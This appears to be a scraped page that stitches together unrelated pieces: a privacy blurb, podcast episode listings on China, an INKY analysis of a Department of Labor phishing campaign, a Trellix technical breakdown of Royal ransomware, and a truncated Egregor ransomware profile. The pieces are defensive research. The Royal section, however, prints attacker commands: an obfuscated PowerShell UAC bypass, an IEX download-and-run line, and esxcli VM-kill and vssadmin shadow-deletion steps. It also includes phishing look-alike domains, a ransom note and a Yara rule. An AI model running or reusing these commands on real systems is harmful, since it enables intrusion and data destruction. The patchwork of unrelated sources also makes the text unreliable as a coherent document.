The digital world provides us with endless opportunities to express our individuality and share our stories, but we need to make sure it is a safe place to express ourselves. As this research shows, our data is valuable not only to us but to many other users with malicious intentions – ranging from an expression of dissatisfaction with your actions to cybercriminals who thrive on profiting off personal data. That’s why it’s crucial to know how to protect it.
An important point to remember here is that cybercriminals are not the only ones who can use our data to cause harm – with new phenomena such as doxing, users need to be aware that they can never know how someone can capitalize on their data. Approaching personal data sharing with responsibility is a must-have skill nowadays that will help keep us safer in the storms of the digital world.
|
# Selling China's Story
**ChinaTalk**
**11/7/2021**
Winner of the inaugural Rhodium and China Talk essay contest, recent college grad Maggie Baughman discusses her essay on how the Chinese government uses Western social media to promote their desired image of China internationally with myself and co-host Jeff Kao, a computational journalist at ProPublica.
We discuss:
- The companies offering Chinese entities access and marketing on Western social media
- How China's approach to Western social media differs from that in Russia and Iran
- Foreign influencers on Weibo
- Why tourism bureaus love pandas, sunsets, and happy workers
---
**4/7/2022**
**China/Russia + Why China's Making More Nukes**
Is a nuclear arms race inevitable? China has been building up its nuclear arsenal over the past few years. While it remains significantly smaller than the US and Russia’s, what does this mean for geopolitics against the backdrop of US-China tensions and the Russian invasion of Ukraine? Tong Zhao (@zhaot2005) is a fellow at the Carnegie Center in Beijing who focuses on China’s nuclear program. Co-hosting is Schwarzmann Scholar Raven Witherspoon.
We also discuss:
- Why China sees NATO as the aggressor and Russia as the victim
- Why policy experts’ lack of technical literacy is a big problem
- How China understands nuclear deterrence
- China’s argument for Putin being a rational actor
- Whether there is any hope
---
**4/1/2022**
**How will Beijing Respond to the War in Ukraine?**
CSIS' Bonny Lin joins to discuss how Beijing is responding to the war in Ukraine, potential future paths for Chinese policy, whether the IC could pull the same intelligence coups in Beijing as they did in Moscow, how the PLA may adapt to lessons from in theater, and what Biden should do if Putin drops a tactical nuclear weapon. This show was recorded on March 31st.
---
**3/31/2022**
**Taiwan indie music 101, the Taipei underground and tankie rappers**
Taipei-based DJ and New Bloom editor Brian Hioe (@brianhioe) takes us on a tour of the local indie music scene and explains what some of last year’s top tunes can tell us about Taiwanese politics and culture, from the influence of indigenous communities to attitudes towards China.
We also discuss:
- Earning a living making music in Taiwan vs. China
- Brian’s Twitter fights with tankie rappers
- Taiwan’s indie music dating app
- How Wang Leehom’s divorce drama overshadowed a national referendum
Outro Music: *The Moon Represents My Heart* by Teresa Teng
|
# Fresh Phish: Phishers Lure Victims with Fake Invites to Bid on Nonexistent Federal Projects
Posted by Roger Kay
During the back half of 2021, INKY began detecting phishing emails that impersonated the United States Department of Labor (DoL). Eventually, the campaign grew to hundreds of instances. INKY caught enough of these attempts to do a thorough analysis of the campaign, which is set out in this edition of Fresh Phish.
## Quick Take: Attack Flow Overview
- **Type:** Phishing
- **Vector:** Spoofed DoL senders and newly created look-alike domains
- **Payload:** Malicious links in PDF attachments leading to credential harvesting sites
- **Techniques:** Brand impersonation, mail server abuse, VIP impersonation
- **Platform:** Google Workspace and Microsoft 365
- **Target:** Google Workspace and Microsoft 365 users
## The Attack
In this campaign, the majority of phishing attempts had sender email addresses spoofed to look as if they came from [email protected], which is the real DoL site. A small subset was spoofed to look as if they came from [email protected], which is not the real DoL domain. The rest came from a set of newly created look-alike domains:
- dol-gov.com
- dol-gov.us
- bids-dolgov.us
These phishing emails invited recipients to submit bids for “ongoing government projects" and claimed to be from a senior DoL employee responsible for procurement. Each phishing email had a three-page PDF attachment with well-crafted DoL branding elements.
Recipients were instructed to click the “BID” button on Page 2 to access DoL’s procurement portal. Behind the button was a malicious link. The links varied, but they all led to malicious domains that impersonated the DoL. Here are the variants INKY detected:
- opendolbid.us
- usdol-gov.com
- bid-dolgov.us
- us-dolbids.us
- dol-bids.us
- openbids-dolgov.us
- open-biddolgov.us
- openbids-dolgov.com
- usdol-gov.us
- dolbids.com
- openbid-dolgov.us
- dol.global
What the victim saw when they reached the evil site was a set of fake instructions. When the victim closed the instructions, they saw an identical copy of the real DoL website. The clever phishers had simply copied HTML and CSS from the real site and pasted it into the phishing site. Victims who clicked on the red “Click here to bid” button were presented with a credential harvesting form with instructions to sign in and bid using a Microsoft or other business email account.
When an INKY engineer made the first attempt at entering fake credentials, the site displayed a fake incorrect credentials error. But behind the scenes, those fake credentials had already been harvested. In a classic “blow-off,” when our engineer made a second attempt at entering fake credentials, they were redirected to the real DoL site. This nuanced touch, borrowed from con artistry that well predates the digital era, is designed to confuse the victim and delay the moment when they realize that they were taken.
## Techniques
In the majority of these attacks, the phishers were able to send their phishing emails from abused servers nominally controlled by a non-profit professional membership group. In this example’s received headers, the email originated from 185.105.7.219, and the non-profit’s abused mail server accepted it before passing it off to Microsoft Outlook servers. This technique allowed the phishing email to receive a DKIM pass for the reputable group’s domain. An investigation into 185.105.7.219 revealed that the IP address was associated with albacasino.com, a new domain created barely a week prior.
In other cases, the phishers used newly created domains to both send initial phishing emails and host fake DoL sites. Newly created domains are a black-hat favorite because they are able to pass standard email authentication (SPF, DKIM, and DMARC). Since they are brand new, the domains represent zero-day vulnerabilities; they have never been seen before and typically do not appear in threat intelligence feeds commonly referenced by legacy anti-phishing tools. Without a blemish, these sites used in this exploit did not look malicious.
Although several email security vendors use computer vision to detect impersonation sites, simplistic computer vision would not have helped in this case because the first thing the victim saw was the instructions, which concealed the actual impersonated site.
### Recap of Techniques
- **Brand impersonation:** Seamlessly done by phishers who copy and paste HTML and CSS directly from the real DoL site to spoof it.
- **Abuse of a mail server:** Leverages a legitimate organization’s mail server to send phishing emails.
- **Newly created domains:** Not yet known by threat intelligence feeds and therefore pass rudimentary security checks.
- **Credential harvesting:** Occurs when a victim tries to log into what they think is a real government site and ends up instead entering credentials into a form controlled by the phishers.
## Best Practices: Guidance and Recommendations
- Official U.S. government domains usually end in .gov or .mil rather than .com or another suffix.
- The U.S. government does not typically send out cold emails to solicit bids for projects.
- Potential victims should be aware that it makes no sense to be asked to log in with email credentials to view a document on a completely different network.
- For message administrators, it ought to be clear that SMTP servers should not be configured to accept and forward emails from non-local IP addresses to non-local mailboxes by unauthenticated and unauthorized users.
INKY is an award-winning, cloud-based email security solution developed to proactively eliminate phishing emails and malware while simultaneously providing real-time assistance to employees handling suspicious emails so they can make safer decisions. INKY’s patented technology incorporates sophisticated computer vision, machine learning models, social profiling, and stylometry algorithms to effectively sanitize emails, rewrite malicious links, detect and block security threats, mitigate sender impersonation, and more. Cost-effective and powerful, the INKY platform was developed for mobile-first IT organizations and works seamlessly on any device, operating system, and mail client.
|
# A Royal Analysis of Royal Ransom
**By Alexandre Mundo, and Max Kersten · April 3, 2023**
We would like to thank the Advanced Cyber Services team within Trellix Professional Services for the incident response-related data.
Emerging in early 2022 as a private group which used multiple strains of ransomware, Royal Ransom has used their own ransomware since September 2022. A recap by Bleeping Computer contains the history of this gang. Recently, the FBI and CISA published a joint advisory, highlighting the impact of Royal Ransom. This blog will dive deep into the inner workings of Royal Ransom’s Windows and Linux executables, after which an anonymized Royal Ransom incident response case is discussed. The two executables are somewhat similar in functioning, barring some different modules, such as the existence of a network scanner in the Windows version, while the Linux version can shut ESXi virtual machines down.
Given the overlap in some of the features in Royal Ransom and Conti, such as the chunk-based encryption scheme, it is possible that one or more persons who worked with/for Conti are now working, or have shared details with, the Royal Ransom gang. Given Conti’s downfall, actors might have switched to a different group. Alternatively, it is possible that the Royal Ransom gang reversed or read reports of Conti’s ransomware and cherry-picked features they found useful and/or interesting.
The below screenshot is meant to show the impact this malware family has on a global scale. These detections are from the last two months of our telemetry.
## Analyzed Samples
The hashes for both the Windows and the Linux samples are given below, starting with the Windows sample information. For more Royal Ransomware IOCs we encourage Trellix Insights users to filter on the Royal Ransomware related events.
### Windows
- **MD5**: AFD5D656A42A746E95926EF07933F054
- **SHA-1**: 04028A0A1D44F81709040C31AF026785209D4343
- **SHA-256**: 9DB958BC5B4A21340CEEEB8C36873AA6BD02A460E688DE56CCBBA945384B1926
- **Compiler**: Microsoft Visual C/C++ (2022 v.17.2)
- **Linker**: Microsoft Linker (14.32, Visual Studio 2022 17.2)
### Linux
- **MD5**: 219761770AD0A94AC9879A6028BD8E55
- **SHA-1**: 554085B1FEF4B90C8679A9D10A2C758F10563A79
- **SHA-256**: DCE73C3C9C2F0033EA90E6EAF3B43EB037F29C78D2D35A8D0DB9E46E30883626
- **Compiler**: GCC (4.4.7 20120313 (Red Hat 4.4.7-23))
The RSA public keys for both samples are given below, the Windows and Linux samples respectively.
```
-----BEGIN RSA PUBLIC KEY-----
MIICCAKCAgEA0y6/qfb0GqxB2tNEW8qLCtT7U3XCzp1OVjVkaTH9SBV1k3NBElgC
esSVOFAUAG5nT3WO+CdN26ScoKsFjzKGYh8c7vyoi7L5dDBRdoTEW5+u2rBSIN3c
pkR0Wsq+gT3j0gtvjVybMfp6NRifsMfrcAV9tlrzUw7Da2mx+1Ik9Aa5RaaOxv8N
ahH6OSJ8Qz1G3uCgZaXAULlAqNnlN0KtSo4VsXt/sOnDh1pGFf8jqU8sqwJUkcWk
RdeYdsDyiDrUFxXkHJsiZb8lFk6b01Rm2yS9+kyZxi1yhB1m0kStUUmbN2aoZMy1
pIKxDa2clhhYw+JEMrbCKWW1Aif2hR55nBgL2kwiaNShXUm3yEsfbnd/lJ5ORMUF
tVmaEFEyvVutc86TcNhu0NCHfYihtgbcke7cvy23XnL/qlFL4OzdAnyupz0n69mk
1TSJBR7so3GhvQz53wTps9FXSwWlRpGLTCGRo4OnLnke7Hi5YL+Wb/4c6xWz8biX
+jNeg5Zko+CL3I7ywJkyCWuH9Pr7nccWr1s35BSV8Aj9rMwmOsak2BG91Db0yovg
FLmKMhkwxpBgFfePXIZF687DxpwYJ5fN44OyUCfNrtfejfSFtjhDCwFy/YpBhZ/w
2Bnw8hTLNALEIsDBhAlQBVYAGYhUgDbpvs/GN3qijyFWdESqlCK1Eg0CAQM=
-----END RSA PUBLIC KEY-----
```
```
-----BEGIN RSA PUBLIC KEY-----
MIICCAKCAgEAp/24TNvKoZ9rzwMaH9kVGq4x1j+L/tgWH5ncB1TQA6eT5NDtgsQH
jv+6N3IY8P4SPSnG5QUBp9uYm3berObDuLURZ4wGW+HEKY+jNht5JD4aE+SS2Gjl
+lht2N+S8lRDAjcYXJZaCePN4pHDWQ65cVHnonyo5FfjKkQpDlzbAZ8/wBY+5gE4
Tex2Fdh7pvs7ek8+cnzkSi19xC0plj4zoMZBwFQST9iLK7KbRTKnaF1ZAHnDKaTQ
uCkJkcdhpQnaDyuUojb2k+gD3n+k/oN33Il9hfO4s67gyiIBH03qG3CYBJ0XfEWU
cvvahe+nZ3D0ffV/7LN6FO588RBlI2ZH+pMsyUWobI3TdjkdoHvMgJItrqrCK7BZ
TIKcZ0Rub+RQJsNowXbC+CbgDl38nESpKimPztcd6rzY32Jo7IcvAqPSckRuaghB
rkci/d377b6IT+vOWpNciS87dUQ0lUOmtsI2LLSkwyxauG5Y1W/MDUYZEuhHYlZM
cKqlSLmu8OTitL6bYOEQSy31PtCg2BOtlSu0NzW4pEXvg2hQyuSEbeWEGkrJrjTK
v9K7eu+eT5/arOy/onM56fFZSXfVseuC48R9TWktgCpPMkszLmwY14rp1ds6S7OO
/HLRayEWjwa0eR0r/GhEHX80C8IU54ksEuf3uHbpq8jFnN1A+U239q0CAQM=
-----END RSA PUBLIC KEY-----
```
## The Ransom Note
The ransom note, as present within the samples, is given below. Note that some format specifier (being “%s”) is to be replaced during runtime with the given victim ID. Additionally, the given domain has been defanged. No further changes have been made to the note.
```
Hello!
If you are reading this, it means that your system were hit by 'Royal ransomware.'
Please contact us via:
http[://]royal2xthig3ou5hd7zsliqagy6yygk2cdelaxtni2fyad6dpmpxedid[.]onion/%s
In the meantime, let us explain this case. It may seem complicated, but it is not!
Most likely what happened was that you decided to save some money on your security infrastructure.
Alas, as a result your critical data was not only encrypted but also copied from your systems on a secure server.
From there it can be published online. Then anyone on the internet from darknet criminals, ACLU journalists, Chinese government (different names for the same thing), and even your employees will be able to see your internal documentation: personal data, HR reviews, internal lawsuits and complaints, financial reports, accounting, intellectual property, and more!
Fortunately we got you covered!
Royal offers you a unique deal. For a modest royalty (got it; got it?) for our pentesting services we will not only provide you with an amazing risk mitigation service, covering you from reputational, legal, financial, regulatory, and insurance risks, but will also provide you with a security review for your systems.
To put it simply, your files will be decrypted, your data restored and kept confidential, and your systems will remain secure.
Try Royal today and enter the new era of data security!
We are looking to hearing from you soon!
```
## The Windows Version
The Royal Ransom uses command-line arguments, prefixed with a flag. There are three possible flags, which are shown in the table below, along with a brief explanation of their intended behavior.
| Flag | Description | Mandatory |
|-------|------------------------------------------------------------------------------------------------------|-----------|
| -id | The victim ID to use, which needs to be exactly 32 (0x20) characters in size, or the malware shuts down early. | Yes |
| -path | The location to start encrypting files recursively. If this parameter is not used, all drives that are connected to the machine will be encrypted, after which the malware attempts to spread itself over the network. | No |
| -ep | A numerical value no larger than 99, specifying how many percent of encountered files will be encrypted. If this flag is omitted, the default value of 50 will be used. | No |
Once the command-line arguments have been handled, the ransomware moves on to quietly delete all shadow copies by starting “vssadmin” as a new process, along with the required command-line arguments. The ransomware waits until the newly started “vssadmin” process completes the deletion of the shadow copies, prior to continuing its execution.
Note that the path to “vssadmin” is hardcoded to the C: drive, meaning that on any system where Windows is not installed on the C: drive, the shadow copy deletion will fail, and the ransomware will continue its execution.
Only at this point is the given ID (passed by the “-id” flag) checked for the required 32-character length. If this fails, Royal Ransom will simply stop its execution.
Next, the to-be avoided extensions are initialized, partially based on stack strings and partially based on strings within the data section of the binary. The extensions to be avoided are: exe, dll, lnk, bat, and royal. Additionally, the readme.txt file will be ignored, as it will be placed by the ransomware itself.
The ransomware avoids several folders: windows, royal, $recycle.bin, google, perflogs, Mozilla, tor browser, boot, $windows.~ws, $windows.~bt, and windows.old. These folders are avoided as there is related data in them, and encrypting files in here will prevent the system from properly starting up. Malfunctioning devices are less likely to lead to contact with the ransomware crew, which is why the devices are left “functioning” to the extent that the ransom note can be read, and a decryptor can restore a device’s files.
The encryption is then started in a multi-threaded manner, where the number of threads is equal to twice the number of processors in the victim’s machine (based on the outcome of GetNativeSystemInfo). As such, the system’s scheduler will not be overloaded by too many threads, while still performing tasks in parallel.
Rather than starting the encryption with the cryptography related threads while traversing files, the threads wait for conditional variables to signal the availability of a target file. Each thread will import the RSA public key, which is embedded in the malware sample, to encrypt the AES and IV values, which will be used to encrypt the files.
Note that if the RSA public key cannot be obtained, for any given reason, the thread will simply exit. To avoid the usage of the Windows API’s cryptographic functions, which would show up in static analysis or would need to be resolved dynamically, the OpenSSL library is statically linked with the malware, which provides similar functionality. The used encryption is, unfortunately, correctly implemented.
To avoid the attempted encryption of a locked file, the ransomware first checks if it is locked. If it is, the Windows Restart Manager is used to ensure the file is available. Notably, two processes are excluded from freeing it up: “explorer.exe” and the Royal Ransom process. If the process is locked by neither of these two, the Restart Manager is used.
With “RmStartSession” the session is started, after which “RmRegisterResources” is used to register the resources (being the file in this case). After that, “RmGetList” is used to check which application(s) and/or service(s) lock the resources, which are then closed using “RmShutdown”, thus removing the lock.
### File Encryption
The file encryption is based on chunks of data of a given file. The optional flag to provide the encryption percentage specifies how many blocks will need to be encrypted within the given file, based on the file’s size. Not providing the flag, half of the file will be encrypted.
The granular approach by allowing each execution of the ransomware to encrypt a given percentage of each file allows operators to decide if they’d like to go for a fast-yet-less-secure approach, or a slow-yet-secure approach. When going for a percentage that is too low, files might be recoverable, but the encryption time is insignificant. Using a high percentage, i.e. 90 will encrypt more data, making it difficult if not impossible to recover without the key, while using a significant amount of time to encrypt the files. Additionally, not encrypting the file in full will avoid heavy disk usage, which is what security products can trigger to block ransomware.
The original files will, once (partially) encrypted, be increased with 528 bytes. The RSA block, the original file size, and the encryption percentage value are stored within the newly created space. The sizes of the given fields are, respectively, 512, 8, and 8 bytes.
The encryption percentage isn’t applied to all files: any file that is less or equal to 5245000 bytes in size (or 5 megabytes, when adhering to 1024 bytes per kilobyte, rather than the often used 1000) is encrypted in full, regardless of the given encryption percentage.
Once the data has been written, it will be flushed with the “FlushFileBuffers” Windows API function to ensure that the changes are persisted on the disk. Next, the ransomware renames the encrypted file by moving it, where the destination has a different name than it originally had. The changed name is the old name with the added “.royal” extension appended. The “MoveFileExW” Windows API function is used to rename the file.
### Recursive Folder Enumeration
A new thread is made to obtain all logical drives. In contrast with other ransomware or wipers, the media type of the drives isn’t checked, meaning that some drives might not be writable, while the file encryption is still attempted.
Within each encountered folder, the ransom note will be placed. The ransom note contains the victim ID which was provided via the command-line interface.
Each valid file, meaning the blocklisted extensions and folder names do not match, will be added to a list. This list is the way to instruct the encryption threads that a new file is available, after which it will be encrypted. The encryption threads will remove the file from the list once it has been encrypted and the next item from the list will be picked up, if available.
### Network Scanner
If no path was given via the command-line interface, the malware will get all the IP addresses on the victim’s device, and subsequently scan the network based on a subset of the obtained IPs. Only the addresses which start with the octet equal to “192”, “10”, “100”, or “172” are used, as these tend to correspond with local networks.
The newly created socket, using “WSASocketW”, will be linked to a completion port, using “CreateIoCompletionPort”. The SMB connection, using port 445, uses a callback to “ConnectEx”. Initially, the malware used the WinSock library to establish a TCP socket connection using “WSAIoctl” to connect to “ConnectEx”. This way, connections that were made earlier on the victim’s machine are enumerated and re-used, if possible, with the goal to encrypt files on the connected devices as well.
Shares that do not have the strings “ADMIN$” and “IPC$” are added to the to-encrypt list, which is used by the encryption threads. Once the encryption threads finish, the malware will terminate itself using “ExitProcess”.
## The Linux Version
Prior to the encryption of files, the Linux variant of the Royal ransomware checks the randomness of generated values. If the randomness isn’t enough, 2048 bytes from “/dev/random” is read to seed it. If an error occurs during the reading of the data, or when calling any of the random functions, the malware terminates itself.
If the prior tests are successful, a test string with the value “test” is then encrypted using the RSA public key that is present within the binary. If the outcome is correct, the debug output states that it is, and the function returns true. If it fails, the function returns false.
As a next step, the local variables which are potentially set by the given flags, are initialized.
| Flag | Description | Mandatory |
|----------|------------------------------------------------------------------------------------------------------|-----------|
| -path | The path to start the recursive encryption at. There is no flag for this behavior, other than the requirement for this to be the very first argument. | Yes |
| -id | The victim ID to use, which needs to be exactly 32 (0x20) characters in size, or the malware shuts down early. | Yes |
| -ep | A numerical value no larger than 99, specifying how many percent of encountered files will be encrypted. If this flag is omitted, the default value of 50 will be used. | No |
| -vmonly | If this flag is combined with the fork flag, all files are encrypted. If used alone, nothing happens. | No |
| -fork | Forks the process and ensures that a new session is started prior to encrypting files. | No |
| -logs | Prints the debug messages to the standard output. | No |
| -stopvm | Terminates all ESXi VMs on the device, based on their World IDs. | No |
The check for the encryption percentage ensures the value is between 1 and 99, or it will be set to 50. The logging forces the debug messages to be printed through the standard output.
The victim ID is, just like in the Windows version, mandatory. The length is, again, 32 characters. If the ID is missing, or the length is not equal to 32 (or 0x20 in hexadecimal), an error message is printed, and the function will return false. Returning false will cause the malware to shut down directly afterwards.
### Terminating Virtual Machines
The “-stopvm” flag is used to stop VMware ESXi virtual machines that are running on the host. First the “esxcli” binary is executed via a new shell, with “vm process list > list” as parameters, which serve to store the list of existing virtual machines in the file “list” by redirecting the standard output to the file. The shell which executes the ESXi command-line interface command is called via “execlp”, which overlays the forked process with the called process.
At last, the child process exits. The parent process, which is Royal Ransom, will wait for the child to finish before it opens the “list” file. If it does not exist, the function will return. If it does return, the file size of “list” is checked. If this fails, the function returns as well.
Based on the “list” file’s size, a new block of memory is allocated, after which the content is loaded into memory. The “World ID:” string is used to find the world ID, with the help of “strstr”, and the later the newline character (“\n”).
Each of the obtained world IDs is used to terminate the VMs using the “esxcli” binary again, with the following command-line arguments “vm process kill –type=hard –world-id=%s” where “%s” is the world ID.
Similar to the previous process spawn, the combination of “fork”, “execlp”, “exit”, and “wait” ensure that the ransomware only continues once the newly spawned process has finished.
### File Encryption
The encryption can be performed by the main process, or by a forked process, depending on the “-fork” flag, or the absence thereof. If the fork flag is set, a new session, using “setsid” is created, and the encryption is started. If the flag isn’t set, the encryption starts from the main process.
The number of threads that are created to encrypt files with is equal to two times the number of processors, which is obtained using “sysconf”. The calculation is the same as in the Windows variant.
The public RSA key, which is embedded in the malware, is imported. The complete public key is given at the start of this blog. If the import fails, the thread returns.
The encryption threads read, much like in the Windows version, the target files from a list. If the list is empty the encryption threads wait. The encryption process starts by obtaining the target file’s size. Next, 48 bytes are randomly generated using random functions, and by reading from “/dev/random”. The first 32 bytes are the AES key, and the last 16 bytes are the IV.
Both values will be encrypted with the previously imported RSA public key. The first 512 bytes of the encryption will be saved in the encrypted file, much like in the Windows version. The values will be encrypted with the RSA imported key previously, and the 512 bytes block of the encryption later will be saved in the file as in the Windows version.
The usage of chunks is the same as the Windows version, where the encryption percentage is given via the command-line interface, or the default value of 50 is used. Again, files which are less than or equal to 5245000 bytes (5 megabytes, when adhering to 1024 bytes in a kilobyte, and so forth) are fully encrypted. Otherwise, the percentage decides the chunk sizes, which ensures the file is encrypted for a given percentage.
The encrypted file’s size is inflated again, with 512 bytes to store the encrypted RSA block, 8 bytes for the original file size, and 8 bytes to store the encryption percentage value.
The AES key and the IV are cleared using “memset” once the encryption has finished, the purpose of which is to avoid access to the values in memory. Afterwards, the written data is flushed, ensuring that the encrypted file’s data is written to the disk. The flushing is done with “fsync”. Additionally, the extension “.royal_u” is appended to the filename.
### Recursive Folder Enumeration
Much like any ransomware family, Royal Ransom enumerates all folders on the device recursively to find files which can be encrypted. The first command-line interface argument, the path, is used as the starting point. If the provided value is not a valid path, the malware will terminate. If it is, the malware assumes it is a directory, and puts a ransom note within the given folder, under the “readme” name. The given victim ID is replaced within the ransom note.
After that, the file encryption starts recursively, excluding folders where the name is equal to one or two dots. Excluded file names are files containing any of the following: “royal_u”, “royal_w”, “.sf”, “.v00”, “.b00”, “royal_log_”, “readme”. The “royal_w” seems to be a reference to the Windows version’s encrypted file extension, even though the “_w” part isn’t used in the Windows version. The “royal_log_” name seems to not be used by the ransomware.
If a file is “eligible” for encryption, it is added to the list, which the encryption threads take items from to encrypt, after which they are removed from the list. Once all folders have been recursively iterated through, the malware shuts down.
## An Anonymized Incident Response Case
This section contains an anonymized incident response case, which is why certain indicators of compromise are omitted. The focus of this case is to show the tactics, techniques, and procedures (TTPs) of an actor who encrypted systems with Royal Ransom. The events in this case are described in chronological order and happened in the last quarter of 2022.
The actor obtained the original initial access with a phishing e-mail. This e-mail, based on an existing and benign e-mail thread, contained a malicious attachment in the form of an HTML file (HTML smuggling). Upon opening the HTML file, an archive download prompt pops up. The webpage is a lure which instructs the victim to download a file to correctly display the file. The password for the archive is also given on the page.
The archive itself contains an ISO image. This image, when mounted, contains multiple files: a shortcut (LNK) and a hidden folder with a decoy file, a batch file, and the Qbot payload. The batch file and Qbot payload are named “revalues.cmd” and “vindictive.dat” respectively. The batch script copies the Qbot malware to the victim’s temporary folder and executes the payload from the mounted drive using “regsvr32”. The Batch script is executed using: “C:\Windows\System32\cmd.exe /c standby\revalues.cmd regs”. The “regs” argument is used to complete the “regsvr32” name during the execution.
Qbot later persists itself, with the help of Runn registry entry, in the startup order. The entry executes Qbot, again using “regsvr32”, every time the machine starts: “regsvr32.exe “C:\Users\[redacted]\AppData\Roaming\Microsoft\Jmcoiqtmeft\nwthu.dll””. Note the double quotation marks to ensure the execution is successful even if the path contains one or more spaces.
About four hours after the initial infection, Cobalt Strike was installed as a service on a domain controller, running on the localhost’s port 11925. Note that the lateral movement to a foothold on the domain controller was performed using Pass-the-Hash. The lateral movement started an hour after the initial infection and took a bit more than two hours. Additional tools to enumerate the active directory network were used, such as AdFind.
To escalate privileges during the lateral movement, a UAC bypass was used. This bypass is based on a race condition in Windows 10’s Disk Cleanup tool, where a DLL hijack can lead to arbitrary code execution with elevated privileges. The command to execute the UAC bypass is:
```
“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -w Hidden -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update); powershell -NoP -NonI -w Hidden -enc $x; Start-Sleep -Seconds 1\system32\cleanmgr.exe /autoclean /d C:”
```
The elevated privileges were used to run a PowerShell command which launches PowerSploit (a post-exploitation framework) via Cobalt Strike’s service on port 11925. In this case, the PowerView module got downloaded and executed. The module got downloaded using a PowerShell command: “IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:11925/')”.
A few days later, once the actors got a firm foothold on the network, they used MEGAsync to exfiltrate more than 25 gigabytes of data. Yet another few days later, the Royal Ransom was deployed. Noteworthy here is the executable’s name, which was tailored to the victim’s name. This shows the manual involvement of the actor.
To summarize this incident response case, the image below shows the actions on a day-to-day basis.
All in all, the quick turnaround from initial infection into a fully compromised environment shows why it is important to be on top of things from a blue team point of view. More detailed information about Qbot can be found, as well as a historic overview of Qbot’s changes.
## Product Coverage
Trellix products provide detection for Royal Ransomware using the following detection signatures:
| Product | Signature |
|-------------------------------|-----------------------------------------------------------------------------------------------|
| Endpoint Security (ENS) | Royal Ransom!AFD5D656A42A |
| Linux/Ransom!219761770AD0 | |
| Endpoint Security (HX) | Gen:Variant.Ransom.Royal |
| HX-AV : Gen:Variant.Trojan.Linux.Ransom.3 | |
| Gen:Heur.Ransom.REntS.Gen.1 | |
| POSSIBLE RANSOMWARE - VSSADMIN DELETE SHADOWS A (METHODOLOGY) | ROYAL RANSOMWARE (FAMILY) |
| Network Security (NX) | Detection as a Service |
| Email Security | Malware Analysis |
| File Protect | Trojan.Ransomware.Royal.DNS |
| | Royal Ransomware File Upload And Download Attempt |
| | Royal Ransomware Readme File Detected |
| | Ransomware.Linux.Royal.MVX |
| | FE_Ransomware_Win_Royal_1 |
| | FE_Ransomware_Win_Royal_2 |
| | FE_Ransomware_Linux_Royal_1 |
| | FE_Ransomware_Linux_Royal_2 |
| | FE_Ransomware_Linux64_Royal_1 |
| Helix | (1.1.1222)WINDOWS METHODOLOGY [VSSADMIN Delete Shadows] |
| | (1.1.3505) '[RF] WINDOWS METHODOLOGY [Multiple Domain Discovery Recon] |
| | (1.1.356) WINDOWS METHODOLOGY - PROCESSES [PsExec] |
## Conclusion
The Royal Ransom is actively used, as highlighted by the incident response case. Additionally, the ransomware’s encryption scheme seems to be implemented properly. As such, recent backups or a decryptor are the only ways to recover lost files. The chunk-based encryption speeds up the encryption process while still ensuring files aren’t recoverable.
The re-use of features between ransomware groups, such as Royal Ransom and Conti in this alleged case, gives food for thought with regards to gangs collaborating, or gang members joining different (or additional) gangs. Bluntly put, the evolution of one gang’s ransomware is bound to influence other ransomware gangs, which affects any organization that is targeted. As such, it is important to stay on top of changes and improve the security posture where required.
## Appendix A – MITRE ATT&CK Techniques
The techniques which are used in the Royal Ransom, as well as techniques which are used in the incident response case, are given below.
## Appendix B - Used Tools
The used tools are listed in the table below.
## Appendix C - Yara Rule
The Yara rule, given below, is used to detect Royal Ransom.
```
rule RoyalRansom
{
meta:
author = "Max 'Libra' Kersten for Trellix' Advanced Research Center (ARC)"
version = "1.0"
description = "Detects the Windows and Linux versions of Royal Ransom"
date = "20-03-2023"
malware_type = "ransomware"
strings:
$all_1 = "http://royal2xthig3ou5hd7zsliqagy6yygk2cdelaxtni2fyad6dpmpxedid.onion/%s"
$all_2 = "In the meantime, let us explain this case. It may seem complicated, but it is not!"
$all_3 = "Royal offers you a unique deal. For a modest royalty (got it; got it?) for our pentesting services we will not only provide you with an amazing risk mitigation service,"
$all_4 = "Try Royal today and enter the new era of data security!"
$all_5 = "We are looking to hearing from you soon!"
condition:
all of ($all_*)
}
```
This document and the information contained herein describes computer security research for educational purposes only and the convenience of Trellix customers. Any attempt to recreate part or all of the activities described is solely at the user’s risk, and neither Trellix nor its affiliates will bear any responsibility or liability.
|
# Ransomware Profile: Egregor
Egregor is an aggressive strain of ransomware that targets large organizations. It has been extremely active since its discovery in September 2020, claiming hundreds of victims across multiple industries.
Egregor submissions courtesy of ID Ransomware. The above chart shows the number of Egregor samples submitted to ID Ransomware, an online tool that allows users to identify which ransomware strain has encrypted their files and provides a free decryptor should one be available. The submission data shows that Egregor claimed a large number of victims in a very short space of time and possibly amassed victims quicker than any other group. This surge of attacks was likely the result of former Maze affiliates bringing lists of already-compromised networks to the Egregor affiliate program. Within a month, however, a significant drop in the rate of the attacks occurred. This decrease was likely due to the affiliates who crossed over from Maze quickly exhausting their lists of already-compromised networks and effectively running out of easy prospective targets.
## What is Egregor?
Egregor is a sophisticated strain of ransomware that encrypts files using ChaCha and RSA encryption and uses advanced obfuscation techniques to thwart analysis efforts. “Egregor” is derived from the ancient Greek term for “wakeful,” an occult concept referring to the collective energy of a group of people working toward a common goal – an appropriate name for a ransomware group.
Like many other modern ransomware groups, Egregor’s operators exfiltrate data from victims and store it on their servers before the data is encrypted on the target’s machine. Egregor demands a swift response, giving victims just 72 hours to make contact with attackers. In the event of non-payment, the stolen data is published on the attacker’s website, Egregor News, which can be accessed on both the clear web and dark web. One of the last known banner messages on the Egregor News website was the Christmas greeting: “Egregor Team wishes all clients happy holidays. Christmas gifts are waiting for you. Details in your personal chat!”
Egregor operates under the ransomware-as-a-service model, whereby affiliates receive a portion of ransom payments in exchange for dropping the malware onto victims’ networks. Egregor affiliates earn 70 percent of the ransom payments they generate, with the remaining 30 percent going to the Egregor group. It is believed that the Egregor affiliate program attracted many ex-Maze affiliates following the sudden retirement of the Maze ransomware gang in November 2020.
## The Egregor-Sekhmet-Maze connection
Egregor, Sekhmet, and Maze share almost exactly the same base code. Sekhmet, a now inactive strain of ransomware that was first detected in March 2020, is identical to Maze apart from one small tweak to the way it uses file markers. Egregor, in turn, is identical to Sekhmet, except for having a different file marker value and ransom note text. While it’s not clear if the creators of Sekhmet and/or Maze are responsible for Egregor, the three variants clearly share significant similarities. The Sekhmet leak platform – which exposed just six victims in total – went offline at around the same as the launch of the Egregor News site.
## The History of Egregor
